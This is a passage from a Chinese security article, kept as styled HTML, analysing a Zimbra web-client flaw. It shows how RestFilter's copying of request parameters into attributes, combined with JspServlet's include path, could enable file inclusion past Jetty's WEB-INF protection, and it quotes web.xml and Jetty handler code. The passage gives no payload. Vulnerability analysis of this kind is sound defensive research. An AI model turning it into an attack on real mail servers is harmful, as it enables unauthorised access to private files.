&#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">com.zimbra.webClient.filters.RestFilter</span></code><span leaf=""> 实现代码，存在非常明显的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">request</span></code><span leaf=""> 属性覆盖过程，即请求参数的值将会被复制给同名的属性：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.43333333333333335" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100009025" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=71c033ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7TfbbOCSAgg7ZF0bGc5iaIwkzqp0loPBwfD3iac938I56nIsodSqic6mMw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">那么此处的属性覆盖是否可以利用呢？</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">JspServlet</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">继续查看 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">web.xml</span></code><span leaf=""> ，发现多个 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/h/*</span></code><span leaf=""> 请求被定义在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">jsp-config</span></code><span leaf=""> 中，对应处理的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Servlet</span></code><span leaf=""> 类为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">org.apache.jasper.servlet.JspServlet</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">&lt;jsp-config&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;jsp-property-group&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/changepass&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/imessage&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/postLoginRedirect&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printcalls&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printcalendar&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printvoicemails&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printappointments&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/rest&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printcontacts&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printconversations&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printmessage&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/printtasks&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/h/viewimages&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;url-pattern&gt;/modern/&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;/jsp-property-group&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/jsp-config&gt;</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JspServlet</span></code><span leaf=""> 中，当从 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">request</span></code><span leaf=""> 中提取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">javax.servlet.include.servlet_path</span></code><span leaf=""> 属性非空时，</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">url</span></code><span leaf=""> 将被赋值为该属性的值：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4074074074074074" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" data-imgfileid="100009024" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=4c19c35b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7BZReicf1tbK5RLv4ke54eeVzbJMYd2micnDAGueQtksOrWelCFn44bkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"></figure></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span style="color: rgb(10, 10, 10);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1.5px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">很容易想到 </span></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RestFilter</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">JspServlet</span></code><span leaf=""> 组合起来存在被利用的可能性。</span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">组合实现文件包含</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">我们知道 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Jetty</span></code><span leaf=""> 正常情况下无法直接访问类似 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF/web.xml</span></code><span leaf=""> 的文件资源，原因是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Jetty</span></code><span leaf=""> 在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Handler</span></code><span leaf=""> 层会对 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/WEB-INF</span></code><span leaf=""> 和 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/META-INF</span></code><span leaf=""> 的访问进行拦截，处理代码位于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">org.eclipse.jetty.server.handler.ContextHandler.doHandle</span></code><span leaf=""> ，该函数将调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">isProtectedTarget</span></code><span leaf=""> 判断请求是否属于被保护对象：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">public void doHandle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {</span><span leaf=""><br/></span><span leaf="">    DispatcherType dispatch = baseRequest.getDispatcherType();</span><span leaf=""><br/></span><span leaf="">    boolean new_context = baseRequest.takeNewContext();</span><span leaf=""><br/></span><span leaf="">    try {</span><span leaf=""><br/></span><span leaf="">        if (new_context) {</span><span leaf=""><br/></span><span leaf="">            this.requestInitialized(baseRequest, request);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        if (dispatch != DispatcherType.REQUEST || !this.isProtectedTarget(target)) {</span><span leaf=""><br/></span><span leaf="">            this.nextHandle(target, baseRequest, request, response);</span><span leaf=""><br/></span><span leaf="">            return;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">        baseRequest.setHandled(true);</span><span leaf=""><br/></span><span leaf="">        response.sendError(404);</span><span leaf=""><br/></span><span leaf="">    } finally {</span><span leaf=""><br/></span><span leaf="">        if (new_context) {</span><span leaf=""><br/></span><span leaf="">            this.requestDestroyed(baseRequest, request);</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100009026" data-ratio="0.7694444444444445" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;height: auto !important;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=b3d25351&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAzrdVWf7O0xaMIqFYhdO2z7KiblkSEZhOwUibogsw9UKH45vyktxPLiad3LVENYjbcvQW5ibEKLRsDwOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, 